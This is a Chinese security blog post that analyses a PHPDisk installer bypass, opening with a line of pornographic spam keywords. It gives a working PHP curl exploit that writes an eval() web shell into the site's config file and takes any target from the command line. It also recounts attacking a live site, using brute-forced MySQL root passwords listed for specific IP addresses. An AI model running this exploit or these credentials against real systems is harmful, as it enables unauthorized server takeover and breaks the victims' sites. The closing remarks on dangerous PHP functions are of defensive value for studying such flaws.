亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

phpdisk 漏洞發(fā)布 phpdisk header bypass & getShell exp解析

  發(fā)布時(shí)間:2012-06-27 14:25:13   作者:佚名   我要評(píng)論
PHPDISK網(wǎng)盤(pán)系統(tǒng)是國(guó)內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(pán)(文件存儲(chǔ)管理)系統(tǒng),筆者對(duì)其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東
Author:Yaseng Team:CodePlay
1:代碼審計(jì)
PHPDISK網(wǎng)盤(pán)系統(tǒng)是國(guó)內(nèi)使用廣泛PHP和MySQL構(gòu)建的網(wǎng)絡(luò)硬盤(pán)(文件存儲(chǔ)管理)系統(tǒng),筆者對(duì)其源碼分析中,發(fā)現(xiàn)了一個(gè)很有意思的東東…..
 
圖一
 圖一為install下面的index.php,程序安裝文件??瓷掀鸷苷5拇a,當(dāng)系統(tǒng)安裝時(shí),生成一個(gè)鎖定文件,再次執(zhí)行install時(shí)判斷,這里他用了一個(gè)Header,而木有exit 。然而php中header 跳轉(zhuǎn)之后代碼還是向后執(zhí)行,可以直接post 數(shù)據(jù)過(guò)去,再來(lái)看這個(gè)文件 。 


圖二
安裝流程全部靠$step,而step 又可以靠POST 控制。 繼續(xù)找可以利用之處

復(fù)制代碼
代碼如下:

$str = "<?php".LF.LF;
$str .= "http:// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF;
$str .= "\$configs = array(".LF.LF;
$str .= "\t'dbhost' => '$dbhost',".LF.LF;
$str .= "\t'dbname' => '$dbname',".LF.LF;
$str .= "\t'dbuser' => '$dbuser',".LF.LF;
$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;
$str .= "\t'pconnect' => 0,".LF.LF;
$str .= "\t'tpf' => 'pd_',".LF.LF;
$str .= "\t'charset' => '$charset',".LF.LF;
$str .= "\t'debug' => '0',".LF.LF;
$str .= ");".LF.LF;
$str .= "define('ADMINCP','admincp');".LF;
$str .= "?>".LF;
$fp = fopen($config_file,'w');
if (!$fp) {
exit("Can not open file <b>$config_file</b> .");
}
if(is_writable($config_file)){
if(@fwrite($fp,$str)){
$msg .= "<font color=blue>{$config_file} ".__('write_success')."</font>";
}else{
吧post 數(shù)據(jù)寫(xiě)入配置文件configs.inc.php,可以利用之,繼續(xù)目測(cè)之。
function stripslashes_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}

哈哈,為了安裝方便,竟然去掉了gpc,這下可以直接寫(xiě)入木馬了。
2:漏洞利用& getShell 方法
查找寫(xiě)入配置的地方
 
復(fù)制代碼
代碼如下:

$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);
 

驗(yàn)證是否可以連接,錯(cuò)誤的數(shù)據(jù)庫(kù)信息直接退出哦了,看來(lái)不能亂寫(xiě)了,只能在dbpasswd 上面下功夫。
 首先yy一下system 下的configs.inc.php 文件
 'dbpasswd' => '',);?><?php eval($_POST['y']);?>',
就可以直接 菜刀連接之
 
由于沒(méi)有萬(wàn)惡的gpc 直接POST一個(gè)'dbpasswd' = '',);?><?php eval($_POST['y']);?>'
 
也就是此時(shí)的密碼為: ',);?><?php eval($_POST['y']);?>
 
此時(shí)需要post的 數(shù)據(jù)包為:
 
$pass='\',);?><?php eval($_POST[\'y\']);?>';
 
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;
 
當(dāng)數(shù)據(jù)庫(kù)信息正確時(shí),成功寫(xiě)入一句話木馬.
 

 
圖四
 成功寫(xiě)入shell
 3:getShell exp 編寫(xiě)
 結(jié)束yy,我們來(lái)用php 中強(qiáng)大的curl exp,前文我們已然構(gòu)造出post 傳送的數(shù)據(jù)。然后在根據(jù)特征檢測(cè)是否getShell ,具體代碼如下(完整exp 見(jiàn)附件)。
 
復(fù)制代碼
代碼如下:

$site = $argv[1]; //傳入的 網(wǎng)站
$url= $site."/install/index.php";
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //發(fā)送post 數(shù)據(jù)
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';
if(strpos(@file_get_contents($shell),'pconnect')){ //檢測(cè)是否成功
echo "Hi guy I get the Shell:".$shell;
}else{
echo "Shit !!! This Site:$site Can not get Shell";
}

4:實(shí)戰(zhàn)演示
 其實(shí)這種拿shell 方式是極其缺德,破壞configs.inc.php,導(dǎo)致全站崩潰,俺找了個(gè)比較新的站點(diǎn)(目測(cè)沒(méi)什么人) 主啊 原諒我吧 …… 實(shí)戰(zhàn)一番.
找外連數(shù)據(jù)庫(kù)啊.菜刀里面找了x個(gè)shell 皆不能外聯(lián),干 向朋友要了個(gè)mysql root 爆破工具,爆破了一批root 。
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.252 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.253 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.250 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.251 root passwd
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.254 root password
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.252 root root123456
進(jìn)入數(shù)據(jù)庫(kù)成功... 98.126.4.253 root root123456  
 
 
隨便找了個(gè),本地adminer(一個(gè)單文件php MySQL管理客戶(hù)端) 進(jìn)去改密碼,此時(shí)發(fā)送的data為(如果不行 請(qǐng)大家自行更換可外鏈的mysql)
 $pass='\',);?><?php eval($_POST[\'y\']);?>';
 $data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;
 Php命令行下執(zhí)行php phpdisk.php 
 
Done,成功寫(xiě)入,菜刀連接。


 
Ko ?。。?br /> 4:總結(jié)
 本文是Header直接跳轉(zhuǎn)導(dǎo)致繞過(guò)的典型文章,php函數(shù)使用強(qiáng)大而簡(jiǎn)單,同時(shí)我們不得不謹(jǐn)慎使用如header,preg_replace,eval 之類(lèi)的危險(xiǎn)函數(shù),以免被非法利用。

相關(guān)文章

最新評(píng)論